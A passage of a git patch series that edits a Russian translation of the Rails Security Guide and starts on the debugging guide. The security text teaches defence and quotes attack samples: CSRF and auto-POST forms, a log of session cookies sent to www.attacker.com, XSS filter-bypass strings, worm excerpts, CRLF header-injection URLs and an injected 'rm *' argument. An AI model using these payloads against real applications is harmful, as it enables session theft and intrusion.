logged_in_user_id в сессии. +Лучшее _решение против атак - это хранить данные такого рода не в сессии, а в базе данных_. В нашем случае храните величину кредита в базе данных, а logged_in_user_id в сессии. ### Фиксации сессии @@ -139,7 +139,7 @@ NOTE: _Кроме кражи id сессии пользователя, злоу TIP: _Одна строка кода защитит вас от фиксации сессии._ -Наиболее эффективная контрмера это _создавать новый идентификатор сессии_ и объявлять старый невалидным после успешного входа. Тогда злоумышленник не сможет использовать подмененный идентификатор сессии. Это также хорошая контрмера против похищения сессии. Вот как создать новую сессию в Rails: +Наиболее эффективная контрмера - это _создавать новый идентификатор сессии_ и объявлять старый невалидным после успешного входа. Тогда злоумышленник не сможет использовать подмененный идентификатор сессии. Это также хорошая контрмера против похищения сессии. Вот как создать новую сессию в Rails: ```ruby reset_session @@ -153,7 +153,7 @@ reset_session NOTE: _Сессии, которые не имеют время жизни, растягивают временной период для атак, таких как подделка межсайтовых запросов (CSRF), похищение сессии и фиксация сессии._ -Один из способов это установить временную метку окончания куки с id сессии. Однако клиент может редактировать куки, хранящиеся в веб браузере, поэтому сессии со сроком действия безопаснее хранить на сервере. Вот пример как _окончить сессии в таблице базы данных_. Вызовите `Session.sweep("20m")` чтобы окончить сессии, которые использовались более 20 минут назад. +Один из способов - это установить временную метку окончания куки с id сессии. Однако клиент может редактировать куки, хранящиеся в веб браузере, поэтому сессии со сроком действия безопаснее хранить на сервере. Вот пример как _окончить сессии в таблице базы данных_. Вызовите `Session.sweep("20m")` чтобы окончить сессии, которые использовались более 20 минут назад. ```ruby class Session < ActiveRecord::Base @@ -174,7 +174,7 @@ delete_all "updated_at < '#{time.ago.to_s(:db)}' OR created_at < '#{2.days.ago.to_s(:db)}'" ``` -(cross-site-request-forgery-csrf) Подделка межсайтовых запросов (CSRF) +(cross-site-request-forgery-csrf) Подделка межсайтовых запросов (CSRF, Cross-Site Request Forgery) ---------------------------------------------------------------------- Этот метод атаки работает через включение вредоносного кода или ссылки на страницу, которая обращается к веб приложению, на котором предполагается, что пользователь аутентифицирован. Если сессия для того веб приложения не истекла, злоумышленник сможет выполнить несанкционированные команды. @@ -183,22 +183,21 @@ delete_all "updated_at < '#{time.ago.to_s(:db)}' OR В [главе про сессии](#sessions) мы узнали, что большинство приложений на Rails используют сессии, основанные на куки. Либо они хранят id сессии в куки и имеют хэш сессии на сервере, либо весь хэш сессии на клиенте. В любом случае, браузер автоматически пошлет куки с каждым запросом к домену, если он найдет куки для этого домена. Спорный момент в том, что он также пошлет куки, если запрос идет с сайта другого домена. Давайте рассмотрим пример: -* Bob просматривает доску объявлений и смотрит публикацию от хакера, в котором имеется созданный HTML элемент изображения. Элемент ссылается на команду в приложении Bob'а по управлению проектами, а не на файл изображения. -* `` -* Сессия Bob'а на www.webapp.com все еще действующая, так как он работал с сайтом несколько минут назад. -* Просматривая публикацию, браузер находит тег изображения. Он пытается загрузить предполагаемое изображения с сайта www.webapp.com. Как уже объяснялось, он также посылает куки с валидным id сессии. -* Веб приложение www.webapp.com подтверждает информацию о пользователе в соответствующей сессии и уничтожает проект с ID 1. Затем он возвращает итоговую страницу, которая не является ожидаемым результатом для браузера, поэтому он не отображает изображение. +* Bob просматривает доску объявлений и смотрит публикацию от хакера, в котором имеется созданный HTML элемент изображения. Элемент ссылается на команду в приложении Bob'а по управлению проектами, а не на файл изображения: `` +* Сессия Bob'а на `www.webapp.com` все еще действующая, так как он работал с сайтом несколько минут назад. +* Просматривая публикацию, браузер находит тег изображения. Он пытается загрузить предполагаемое изображение с сайта `www.webapp.com`. Как уже объяснялось, он также посылает куки с валидным id сессии. +* Веб приложение `www.webapp.com` подтверждает информацию о пользователе в соответствующей сессии и уничтожает проект с ID 1. Затем он возвращает итоговую страницу, которая не является ожидаемым результатом для браузера, поэтому он не отображает изображение. * Bob не уведомляется об атаке - но несколько дней спустя он обнаруживает, что проекта номер один больше нет. Важно отметить, что фактически создаваемое изображение или ссылка не обязательно должны быть расположены в домене веб приложения, они могут быть где угодно – на форуме, в публикации блога или в email. -CSRF очень редко появляется среди CVE (распространённых уязвимостей и опасностей) - менее 0.1% в 2006 - но на самом деле это "спящий гигант". _CSRF это важный вопрос безопасности_. +CSRF очень редко появляется среди CVE (распространённых уязвимостей и опасностей) - менее 0.1% в 2006 - но на самом деле это "спящий гигант". Это значительно контрастирует с результатами множества работ по безопасности - _CSRF является важным вопросом безопасности_. ### (csrf-countermeasures) Контрмеры CSRF NOTE: _Во-первых, как это требуется W3C, используйте надлежащим образом GET и POST. Во-вторых, токен безопасности в не-GET запросах защитит ваше приложение от CSRF._ -Протокол HTTP в основном представляет два основных типа запросов - GET и POST (их больше, но не все они поддерживаются некоторыми браузерами). Консорциум Всемирной паутины (W3C) предоставляет контрольный список для выбора между HTTP методами GET или POST: +Протокол HTTP, по существу, представляет два основных типа запросов - GET и POST (их больше, но они не поддерживаются большинством браузеров). Консорциум Всемирной паутины (W3C) предоставляет контрольный список для выбора между HTTP методами GET или POST: **Используйте GET, если:** @@ -207,12 +206,12 @@ NOTE: _Во-первых, как это требуется W3C, использу **Используйте POST, если:** * Взаимодействие более _похоже на распоряжение_, или -* Взаимодействие _изменяет состояние_ ресурса способом, который пользователь будет ощущать (например, подписка на услугу), или +* Взаимодействие _изменяет состояние_ ресурса способом, который пользователь будет осознавать (например, подписка на услугу), или * Пользователь _несет ответственность за результат_ взаимодействия. Если Ваше приложение является RESTful, можете использовать дополнительные методы HTTP, такие как PATCH, PUT или DELETE. Однако, большинство современных веб браузеров не поддерживают их - только GET и POST. Rails использует скрытое поле `_method` для преодоления этого препятствия. -_Запросы POST также могут быть посланы автоматически_. Вот пример для ссылки, которая отображает www.harmless.com как назначение в статусбаре браузера. Фактически она динамически создает новую форму, посылающую запрос POST. +_Запросы POST также могут быть посланы автоматически_. Вот пример для ссылки, которая отображает `www.harmless.com` как назначение в статусбаре браузера. Фактически она динамически создает новую форму, посылающую запрос POST. ```html
``` -Имеется множество других возможностей, наподобие использования тега ` ``` -Этот код JavaScript просто отображает сообщение. Следующие примеры делают примерно то же самое,но в очень необычных местах: +Этот код JavaScript просто отображает сообщение. Следующие примеры делают примерно то же самое, но в очень необычных местах: ```html @@ -686,13 +690,13 @@ INFO: _Наиболее распространенная и одна из наи ``` -Лог файлы на www.attacker.com будут подобны следующему: +Лог файлы на `www.attacker.com` будут подобны следующему: ``` GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2 ``` -Можно смягчить эти атаки (очевидным способом) добавив к куки флаг [httpOnly](http://dev.rubyonrails.org/ticket/8895), таким образом, document.cookie не сможет быть прочитан JavaScript. Http only куки могут использоваться начиная с IE v6.SP1, Firefox v2.0.0.5 и Opera 9.5. Safari все еще рассматривает, но игнорирует эту опцию. Но другие, более старые браузеры (такие как WebTV и IE 5.5 on Mac) могут фактически отказаться загружать страницу. Однако, будьте осторожны, что куки [все еще видны при использовании Ajax](http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/). +Можно смягчить эти атаки (очевидным способом) добавив к куки флаг **httpOnly**, таким образом, document.cookie не сможет быть прочитан JavaScript. Http only куки могут использоваться начиная с IE v6.SP1, Firefox v2.0.0.5 и Opera 9.5. Safari все еще рассматривает, но игнорирует эту опцию. Но другие, более старые браузеры (такие как WebTV и IE 5.5 on Mac) могут фактически отказаться загружать страницу. Однако, будьте осторожны, что куки [все еще видны при использовании Ajax](http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/). ##### Искажение @@ -719,13 +723,13 @@ _Очень важно отфильтровывать злонамеренный Особенно для XSS, важно делать _фильтрацию ввода с помощью белого списка, а не черного_. Фильтрация белым списком устанавливает допустимые значения, остальные значения недопустимы. Черные списки всегда не законченные. -Предположим, черный список удаляет “script” из пользовательского ввода. Теперь злоумышленник встраивает “<scrscriptipt>”, и после фильтра остается “<script>”. Ранние версии Rails использовали подход черного списка для методов strip_tags(), strip_links() and sanitize(). Поэтому такой сорт инъекций был возможен: +Предположим, черный список удаляет "script" из пользовательского ввода. Теперь злоумышленник встраивает "<scrscriptipt>", и после фильтра остается "<script>". Ранние версии Rails использовали подход черного списка для методов strip_tags(), strip_links() и sanitize(). Поэтому такой сорт инъекций был возможен: ```ruby strip_tags("some<script>alert('hello')</script>") ``` -Это возвратит "some<script>alert('hello')</script>", что позволит осуществится атаке. Вот почему подход белого списка лучше при использовании метода Rails 2 sanitize(): +Это возвратит "some<script>alert('hello')</script>", что позволит осуществиться атаке. Вот почему подход белого списка лучше при использовании метода Rails 2 sanitize(): ```ruby tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p) @@ -745,13 +749,13 @@ s = sanitize(user_input, tags: tags, attributes: %w(href title)) &#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> ``` -Этот пример вызывает окно сообщения. Хотя это распознается фильтром sanitize(). Хорошим инструментом для обфускации и кодирования строк (знайте своего врага!) является [Hackvertor](https://hackvertor.co.uk/public). Метод Rails sanitize() работает хорошо, отражая закодированные атаки. +Этот пример вызывает окно сообщения. Хотя это распознается фильтром `sanitize()`. Хорошим инструментом для обфускации и кодирования строк (знайте своего врага!) является [Hackvertor](https://hackvertor.co.uk/public). Метод Rails `sanitize()` работает хорошо, отражая закодированные атаки. #### Примеры из прошлого _Чтобы понять сегодняшние атаки на веб приложения, лучше взглянуть на некоторые реальные направления атаки._ -Нижеследующее это переведенная выдержка из [Js.Yamanner@m](http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&tabid=1) Yahoo! почтовый [червь](http://groovin.net/stuff/yammer.txt). Он появился 11 июня 2006 года и был первым червем для почтового интерфейса: +Ниже приведена выдержка из [Js.Yamanner@m](http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&tabid=1) Yahoo! почтовый [червь](http://groovin.net/stuff/yammer.txt). Он появился 11 июня 2006 года и был первым червем для почтового интерфейса: ```html ``` -Таким образом загрузка происходила через атрибут стиля. Но в загрузке не допустимы кавычки, так как одинарные и двойные кавычки уже были использованы. Но в JavaScript имеется удобная функция eval(), которая выполняет любую строку как код. +Таким образом загрузка происходила через атрибут стиля. Но в загрузке не допустимы кавычки, так как одинарные и двойные кавычки уже были использованы. Но в JavaScript имеется удобная функция `eval()`, которая выполняет любую строку как код. ```html
``` -Функция eval() это кошмар для фильтров ввода на основе черного списка, так как она позволяет атрибуту стиля спрятать слово “innerHTML”: +Функция `eval()` - это кошмар для фильтров ввода на основе черного списка, так как она позволяет атрибуту стиля спрятать слово "innerHTML": ``` -alert(eval('document.body.inne' ` 'rHTML')); +alert(eval('document.body.inne' + 'rHTML')); ``` -Следующей проблемой было то, что MySpace фильтровал слово “javascript”, поэтому автор использовал “java<NEWLINE>script" чтобы обойти это: +Следующей проблемой было то, что MySpace фильтровал слово "javascript", поэтому автор использовал "java<NEWLINE>script" чтобы обойти это: ```html
@@ -807,9 +811,9 @@ alert(eval('document.body.inne' ` 'rHTML')); Этот пример снова показывает, что фильтр на основе черного списка никогда не полон. Однако, так как пользовательский CSS в веб приложениях достаточно редкая особенность, трудно найти хороший фильтр CSS на основе белого списка. _Если хотите разрешить пользовательские цвета или картинки, разрешите выбрать их и создайте CSS в веб приложении_. Используйте метод Rails `sanitize()` как модель для фильтра CSS на основе белого списка, если это действительно нужно. -### Инъекция textile +### Инъекция Textile -Если хотите предоставить форматирование текста иное, чем HTML (для безопасности), используйте разметочный язык, конвертируемый в HTML на сервере. [RedCloth](http://redcloth.org/) это такой язык для Ruby, но без мер предосторожности он также уязвим к XSS. +Если хотите предоставить форматирование текста иное, чем HTML (для безопасности), используйте разметочный язык, конвертируемый в HTML на сервере. [RedCloth](http://redcloth.org/) - это такой язык для Ruby, но без мер предосторожности он также уязвим к XSS. Например, RedCloth переводит `_test_` в <em>test<em>, который делает текст курсивом. Однако, до версии 3.0.4 была уязвимость к XSS. Возьмите [новую версию 4](http://www.redcloth.org), в которой устранены серьезные баги. Однако даже эта версия имела (на момент написания статьи) [несколько багов безопасности](http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html), поэтому контрмеры только принимались. Вот пример для версии 3.0.4: @@ -838,30 +842,30 @@ RedCloth.new("hello", [:filter_html]).to_html ### Ajax инъекции -NOTE: _Те же меры безопасности должны быть приняты для экшнов Ajax, что и для “нормальных”. Однако, есть как минимум одно исключение: Вывод экранируется уже в контроллере, если экшн не рендерит вьюху._ +NOTE: _Те же меры безопасности должны быть приняты для экшенов Ajax, что и для "нормальных". Однако, есть как минимум одно исключение: вывод экранируется уже в контроллере, если экшен не рендерит вьюху._ -Если используете [плагин in_place_editor](https://rubygems.org/gems/in_place_editing) или экшны, возвращающие строку, а не рендерите вьюху, _нужно экранировать возвращаемое значение в экшне_. В ином случае, если возвращаемое значение содержит строку с XSS, злонамеренный код выполнится по возвращению в браузер. Экранируйте каждое введенное значение с помощью метода h(). +Если используете [плагин in_place_editor](https://rubygems.org/gems/in_place_editing) или экшены, возвращающие строку, а не рендерите вьюху, _нужно экранировать возвращаемое значение в экшене_. В ином случае, если возвращаемое значение содержит строку с XSS, злонамеренный код выполнится по возвращению в браузер. Экранируйте каждое введенное значение с помощью метода `h()`. ### Инъекции командной строки NOTE: _Используйте предоставленные пользователем параметры командной строки с предосторожностью_ -Если ваше приложение запускает команды в лежащей в основе операционной системе, имеется несколько методов в Ruby: exec(command), syscall(command), system(command) и `command`. Вы должны быть особенно осторожны с этими функциями, если пользователь может вводить целые команды или часть их. Это так, так как во многих оболочках можно запускать другую команду в конце первой, разделяя их точкой с запятой (;) или вертикальной чертой (|). +Если ваше приложение запускает команды в лежащей в основе операционной системе, имеется несколько методов в Ruby: `exec(command)`, `syscall(command)`, `system(command)` и `command`. Вы должны быть особенно осторожны с этими функциями, если пользователь может вводить целые команды или часть их. Это так, потому что во многих оболочках можно запускать другую команду в конце первой, разделяя их точкой с запятой (;) или вертикальной чертой (|). Контрмерой является _использование метода `system(command, parameters)`, который передает параметры командной строки безопасно_. ```ruby system("/bin/echo","hello; rm *") -# prints "hello; rm *" and does not delete files +# напечатает "hello; rm *" и не удалит файлы ``` ### Инъекция заголовка -WARNING: _Заголовки HTTP динамически создаются и при определенных обстоятельствах могут быть изменены пользовательски вводом. Это может привести к ложному перенаправлению, XSS или HTTP response splitting._ +WARNING: _Заголовки HTTP динамически создаются и при определенных обстоятельствах могут быть изменены пользовательским вводом. Это может привести к ложному перенаправлению, XSS или разделению HTTP отклика (HTTP response splitting)._ Заголовки запроса HTTP имеют поля Referer, User-Agent (клиентское ПО) и Cookie, среди прочих. Заголовки отклика, к примеру, имеют код статуса, Cookie и Location (цель перенаправления на URL). Все они предоставлены пользователем и могут быть манипулированы с большими или меньшими усилиями. _Не забывайте экранировать эти поля заголовка тоже._ Например, когды Вы отображаете user agent в администраторской зоне. -Кроме того, _важно знать, что делаете, когда создаете заголовки отклика, частично основанные на пользовательском вводе._ Например, вы хотите перенаправить пользователя на определенную страницу. Для этого вы представили поле “referer“ в форме для перенаправления на заданный адрес: +Кроме того, _важно знать, что делаете, когда создаете заголовки отклика, частично основанные на пользовательском вводе._ Например, вы хотите перенаправить пользователя на определенную страницу. Для этого вы представили поле "referer" в форме для перенаправления на заданный адрес: ```ruby redirect_to params[:referer] @@ -873,14 +877,14 @@ redirect_to params[:referer] http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld ``` -И благодаря багу в (Ruby and) Rails до версии 2.1.2 (исключая ее), хакер может внедрить произвольные поля заголовка; например, так: +И благодаря багу в (Ruby и) Rails до версии 2.1.2 (исключая ее), хакер может внедрить произвольные поля заголовка; например, так: ``` http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:`Hi! http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:`http://www.malicious.tld ``` -Отметьте, что "%0d%0a" это URL-код для "\r\n", являющиеся возвратом каретки и новой строкой (CRLF) в Ruby. Таким образом, итоговым заголовком HTTP для второго примера будет следующее, поскольку второе поле заголовка Location перезаписывает первое. +Отметьте, что "%0d%0a" это URL-код для "\r\n", являющиеся возвратом каретки и новой строкой (CRLF) в Ruby. Таким образом, итоговым заголовком HTTP для второго примера будет следующее, поскольку второе поле заголовка Location перезаписывает первое. ``` HTTP/1.1 302 Moved Temporarily @@ -890,9 +894,9 @@ Location: http://www.malicious.tld Таким образом, _направления атаки для инъекции заголовка основаны на инъекции символов CRLF в поле заголовка._ И что сможет сделать злоумышленник с ложным перенаправлением? Он сможет перенаправить на фишинговый сайт, который выглядит так же, как ваш, но просит заново авторизоваться (и посылает регистрационные данные злоумышленнику). Или он сможет установить злонамеренное ПО, используя дыры в безопасности браузера на этом сайте. Rails 2.1.2 экранирует эти символы для поля Location в методе `redirect_to`. _Убедитесь, что вы делаете то же самое, когда создаете другие поля заголовка на основе пользовательского ввода._ -#### Response Splitting +#### Разделение отклика -Если инъекция заголовка была возможна, то Response Splitting так же может быть возможен. В HTTP блок заголовка заканчивается двумя CRLF, затем идут фактические данные (обычно HTML). Идея Response Splitting состоит во внедрении двух CRLF в поле заголовка, после которых следует другой отклик со злонамеренным HTML. Отклик будет таким: +Если инъекция заголовка была возможна, то разделение отклика также возможно. В HTTP блок заголовка заканчивается двумя CRLF, затем идут сами данные (обычно HTML). Идея разделения отклика состоит во внедрении двух CRLF в поле заголовка, после которых следует другой отклик со злонамеренным HTML. Отклик будет таким: ``` HTTP/1.1 302 Found [First standard 302 response] @@ -911,12 +915,12 @@ Transfer-Encoding: chunked Content-Type: text/html ``` -При определенных обстоятельствах это сможет предоставить зловредный HTML жертве. Однако, это будет работать только с соединениями Keep-Alive (а многие браузеры используют одноразовые соединения). Но нельзя на это полагаться. _В любом случае, это серьезный баг, и следует обновить Rails до версии 2.0.5 или 2.1.2, чтобы устранить риски инъекции заголовка (и поэтому response splitting)._ +При определенных обстоятельствах это сможет отобразить зловредный HTML жертве. Однако, это будет работать только с соединениями Keep-Alive (а многие браузеры используют одноразовые соединения). Но нельзя на это полагаться. _В любом случае, это серьезный баг, и следует обновить Rails до версии 2.0.5 или 2.1.2, чтобы устранить риски инъекции заголовка (и поэтому разделения отклика)._ -(Unsafe Query Generation) Небезоапасная генерация запросов +(Unsafe Query Generation) Небезопасная генерация запросов ---------------------------------------------------------- -Благодаря способу, которым Active Record интерпретирует параметры, в сочетаниии со способом, которым Rack парсит параметры запроса, было возможным осуществить неожидаемые запросы в базу данных с условием `IS NULL`. В качестве ответа на этот вопрос безопасности +Благодаря способу, которым Active Record интерпретирует параметры, в сочетании со способом, которым Rack парсит параметры запроса, было возможным осуществить неожидаемые запросы в базу данных с условием `IS NULL`. В качестве ответа на этот вопрос безопасности ([CVE-2012-2660](https://groups.google.com/forum/#!searchin/rubyonrails-security/deep_munge/rubyonrails-security/8SA-M3as7A8/Mr9fi9X4kNgJ), [CVE-2012-2694](https://groups.google.com/forum/#!searchin/rubyonrails-security/deep_munge/rubyonrails-security/jILZ34tAHF4/7x0hLH-o0-IJ) и [CVE-2013-0155](https://groups.google.com/forum/#!searchin/rubyonrails-security/CVE-2012-2660/rubyonrails-security/c7jT-EeN9eI/L0u4e87zYGMJ)) @@ -943,7 +947,7 @@ end | `{ "person": [null, null, ...] }` | `{ :person => [] }` | | `{ "person": ["foo", null] }` | `{ :person => ["foo"] }` | -Можно вернуть старое поведение и отключить `deep_munge`, конфигурировав ваше приложение, если вы знаете об этом риске и знаете, как им управлять: +Можно вернуть старое поведение и отключить `deep_munge`, cконфигурировав ваше приложение, если вы знаете об этом риске и знаете, как им управлять: ```ruby config.action_dispatch.perform_deep_munge = false @@ -981,27 +985,45 @@ config.action_dispatch.default_headers.clear - X-Frame-Options := _'SAMEORIGIN' по умолчанию в Rails_ - позволяет фрейминг на тот же домен. Установите 'DENY' для запрета фрейминга или 'ALLOWALL', если хотите разрешить фрейминг на все вебсайты. -- X-XSS-Protection := _'1; mode=block' по умолчанию в Rails_ - использовать XSS Auditor и блокировать страницу, если обнаружена атака XSS. Установите его '0;', если хотите отключить XSS Auditor (полезно, если отклик содержит скрипты из параметров запроса) +- X-XSS-Protection := _'1; mode=block' по умолчанию в Rails_ - использовать XSS Auditor и блокировать страницу, если обнаружена атака XSS. Установите его '0;', если хотите отключить XSS Auditor (полезно, если отклик содержит скрипты из параметров запроса). - X-Content-Type-Options := _'nosniff' по умолчанию в Rails_ - останавливает браузер от угадывания типа MIME файла. -- X-Content-Security-Policy := [Мощный механизм для контроля с каких сайтов может быть загружен определенный контент](http://w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html) +- X-Content-Security-Policy := [Мощный механизм для контроля с каких сайтов может быть загружен определенный контент](http://w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html). - Access-Control-Allow-Origin := Используется для контроля, каким сайтам позволено проходить правило ограничения домена и посылать межсайтовые запросы. -- Strict-Transport-Security := [Используется для контроля, разрешен ли браузеру доступ к сайту только через безопасное соединение](http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security) +- Strict-Transport-Security := [Используется для контроля, разрешен ли браузеру доступ к сайту только через безопасное соединение](http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security). Безопасность среды ------------------ -За пределами этого руководства осталось, как обезопасить исходники и среды вашего приложения. Однако, обезопасьте конфигурацию вашей базы данных, т.е. `config/database.yml`, и секретный ключ сервера, хранящийся в `config/secrets.yml`. Для дальнейшего ограничения доступа используйте специфичные для сред версии этих и любых других файлов, которые могут содержать деликатную информацию. +За пределами этого руководства осталось, как обезопасить код приложения и среды (environments). Однако, пожалуйста, обеспечьте безопасность конфигурации вашей базы данных, т.е. `config/database.yml`, и секретного ключа сервера, хранящегося в `config/secrets.yml`. Для дальнейшего ограничения доступа используйте специфичные для сред версии этих и любых других файлов, которые могут содержать деликатную информацию. -Картина безопасности меняется, и важно идти в ногу со временем, поскольку пропуск новой уязвимости может быть катастрофическим. Ниже перечислены дополнительные источники о безопасности (Rails): +### Настраиваемые секретные настройки + +Rails генерирует `config/secrets.yml`. По умолчанию этот файл содержит секретный ключ приложения `secret_key_base`, но он может использоваться также для хранения других секретных настроек, таких как ключи доступа к внешним API. + +Секретные настройки, добавленные в этот файл, доступны через `Rails.application.secrets`. +Например, со следующим `config/secrets.yml`: + + development: + secret_key_base: 3b7cd727ee24e8444053437c36cc66c3 + some_api_key: SOMEKEY + +`Rails.application.secrets.some_api_key` вернет `SOMEKEY` в среде development. + +Если вы хотите вызвать исключение, когда ключ пустой, используйте версию с восклицательным знаком: + +```ruby +Rails.application.secrets.some_api_key! # => вызовет KeyError +``` (additional-resources) Дополнительные источники ----------------------------------------------- -* Проект по безопасности Ruby on Rails постоянно публикует новости о безопасности: [http://www.rorsecurity.info](http://www.rorsecurity.info) +Картина безопасности меняется, и важно идти в ногу со временем, поскольку пропуск новой уязвимости может быть катастрофическим. Ниже перечислены дополнительные источники о безопасности (Rails): + * Подпишитесь на [рассылку](http://groups.google.com/group/rubyonrails-security) о безопасности Rails * [Будьте в курсе о других уровнях приложений](http://secunia.com/) (у них тоже есть еженедельная рассылка) -* [Хороший блог по безопасности](http://ha.ckers.org/blog/), включающий [Шпаргалку по XSS](http://ha.ckers.org/xss.html) +* [Хороший блог по безопасности](https://www.owasp.org), включающий [Шпаргалку по XSS](https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet) From c7e8dc8d42b85060f88e44e9c985b8a201472210 Mon Sep 17 00:00:00 2001 From: Markov Alexey Date: Fri, 21 Aug 2015 22:59:37 +0400 Subject: [PATCH 084/932] Update debugging --- source/debugging_rails_applications.md | 167 +++++++++++++++---------- source/index.yml | 4 +- 2 files changed, 106 insertions(+), 65 deletions(-) diff --git a/source/debugging_rails_applications.md b/source/debugging_rails_applications.md index 33bb5344..5deaecc6 100644 --- a/source/debugging_rails_applications.md +++ b/source/debugging_rails_applications.md @@ -13,7 +13,7 @@ Хелперы вьюхи для отладки ------------------------- -Одной из обычных задач является проверить содержимое переменной. В Rails это можно сделать тремя методами: +Одной из обычных задач является проверить содержимое переменной. Rails предоставляет три пути как сделать это: * `debug` * `to_yaml` @@ -50,7 +50,7 @@ Title: Rails debugging guide ### `to_yaml` -Отображение переменной экземпляра или любого другого объекта или метода в формате yaml может быть достигнуто следующим образом: +Другой вариант, вызов `to_yaml` на любом объекте конвертирует его в YAML. Вы можете передать этот сконвертированный объект в хэлпер метод `simple_format` для форматирования выходных данных. Именно так и работает метод `debug`. ```html+erb <%= simple_format @article.to_yaml %> @@ -60,9 +60,7 @@ Title: Rails debugging guide

``` -Метод `to_yaml` преобразует метод в формат YAML, оставив его более читаемым, а затем используется хелпер `simple_format` для рендера каждой строки как в консоли. Именно так и работает метод `debug`. - -В результате получится что-то вроде этого во вашей вьюхе: +Код выше отрендерит что-то вроде этого: ```yaml --- !ruby/object Article @@ -90,7 +88,7 @@ Title: Rails debugging guide

``` -Отрендерит следующее: +Отрендерит: ``` [1, 2, 3, 4, 5] @@ -105,9 +103,9 @@ Title: Rails debugging guide ### Что такое Логгер? -Rails использует класс `ActiveSupport::Logger` для записи информации в лог. Вы также можете заменить его другим логгером, таким как `Log4R`, если хотите. +Rails использует класс `ActiveSupport::Logger` для записи информации в лог. Другие логгеры, такие как `Log4R`, могут так же стать заменой. -Альтернативный логгер можно определить в вашем `environment.rb` или любом файле среды: +Альтернативный логгер можно определить в `environment.rb` или любом другом файле среды, например: ```ruby Rails.logger = Logger.new(STDOUT) @@ -121,7 +119,7 @@ config.logger = Logger.new(STDOUT) config.logger = Log4r::Logger.new("Application Log") ``` -TIP: По умолчанию каждый лог создается в `RAILS_ROOT/log/` с файлом лога, названным по окружению, в котором запущено приложение. +TIP: По умолчанию каждый лог создается в `Rails.root/log/` с файлом лога, названным по окружению, в котором запущено приложение. ### Уровни лога @@ -134,9 +132,9 @@ config.log_level = :warn # В любом инициализаторе среды ActiveRecord::Base.logger.level = 0 # в любое время ``` -Это полезно, когда вы хотите логировать при разработке или установке, но не хотите замусорить рабочий лог ненужной информацией. +Это полезно, когда вы хотите логировать в development или staging, но не хотите захламлять production лог ненужной информацией. -TIP: Уровень лога Rails по умолчанию это `debug` в всех средах. +TIP: По умолчанию, уровень лога Rails - `debug` во всех средах. ### Отправка сообщений @@ -148,7 +146,7 @@ logger.info "Processing the request..." logger.fatal "Terminating application, raised unrecoverable error!!!" ``` -Вот пример метода, оборудованного дополнительным логированием, : +Вот пример метода, оборудованного дополнительным логированием: ```ruby class ArticlesController < ApplicationController @@ -208,30 +206,30 @@ logger.tagged("BCX") { logger.tagged("Jason") { logger.info "Stuff" } } # Logs " ### Воздействие логов на производительность -У логирования всегда будет небольшое воздействие на производительность приложения rails, особенно при логировании на диск. Однако, тут есть несколько тонкостей: +У логирования всегда будет небольшое воздействие на производительность приложения rails, особенно при логировании на диск. Кроме того, тут есть несколько тонкостей: -При использовании уровня `:debug` гораздо большее пенальти производительности, чем у уровня `:fatal`, так как вычисляется и пишется в лог (т.е. на диск) гораздо большее количество строк. +Использование уровня `:debug` оказывает гораздо большее влияние на производительность, чем использование уровня `:fatal`, так как вычисляется и пишется в лог (т.е. на диск) гораздо большее количество строк. -Другой потенциальной ловушкой является наличие частых вызовов `Logger` следующим образом: +Другая потенциальная ловушка - частые вызовы `Logger` в вашем коде: ```ruby logger.debug "Person attributes hash: #{@person.attributes.inspect}" ``` -В этом примере будет воздействие на производительность, даже если допустимый уровнеь вывода не включает debug. Причина этого в том, что Ruby вычисляет эти строки, включая инициализацию относительно весомого объекта `String` и интерполяцию переменных, что занимает время. Следовательно, в методы логера рекомендуется передавать блоки, так как они вычисляются только, если уровень вывода включен в допустимый (т.е. ленивая загрузка). Переписанный тот же код: +В этом примере будет воздействие на производительность, даже если допустимый уровень вывода не включает debug. Причина этого в том, что Ruby вычисляет эти строки, включая инициализацию относительно весомого объекта `String` и интерполяцию переменных. Следовательно, в методы логера рекомендуется передавать блоки, так как они вычисляются только, если уровень вывода такой же или включен в допустимый (т.е. ленивая загрузка). Переписанный тот же код: ```ruby logger.debug {"Person attributes hash: #{@person.attributes.inspect}"} ``` -Содержимое блока и, следовательно, интерполяция строки будут вычислены только, если включен уровень enabled. Экономия производительности будет реальна заментна только при больших количествах логирования, но это все равно хорошая практика применения. +Содержимое блока и, следовательно, интерполяция строки будут вычислены только, если включен уровень debug. Экономия производительности будет реально заметна только при большом количестве логирования, но это все равно хорошая практика применения. Отладка с помощью гема "byebug" --------------------------------- Когда ваш код ведет себя неожиданным образом, можете печатать в логи или консоль, чтобы выявить проблему. К сожалению, иногда бывает, что такой способ отслеживания ошибки не эффективен в поиске причины проблемы. Когда вы фактически нуждаетесь в путешествии вглубь исполняемого кода, отладчик - это ваш лучший напарник. -Отладчик также может помочь, если хотите изучить исходный код Rails, но не знаете с чего начать. Просто отладьте любой запрос к своему приложению и используйте это руководство для изучения, как идет движение от написанного вами кода глубже в код Rails. +Отладчик также может помочь, если хотите изучить исходный код Rails, но не знаете с чего начать. Просто отладьте любой запрос к своему приложению и используйте это руководство для изучения, как идет движение от написанного вами кода в основной код Rails. ### Установка @@ -241,7 +239,7 @@ logger.debug {"Person attributes hash: #{@person.attributes.inspect}"} $ gem install byebug ``` -Внутри любого приложения на Rails можно вызывать отладчик, вызвав метод `byebug`. +Внутри любого приложения на Rails можно вызвать отладчик с помощью метода `byebug`. Вот пример: @@ -256,7 +254,7 @@ end ### Среда -Как только приложение вызывает метод `byebug`, отладчик будет запущен в среде отладчика в окне терминала, в котором запущен сервер приложения, и будет представлена строка debugger `(byebug)`. Перед строкой ввода будет отображен код возле строчки, которая выполняется, и текущая 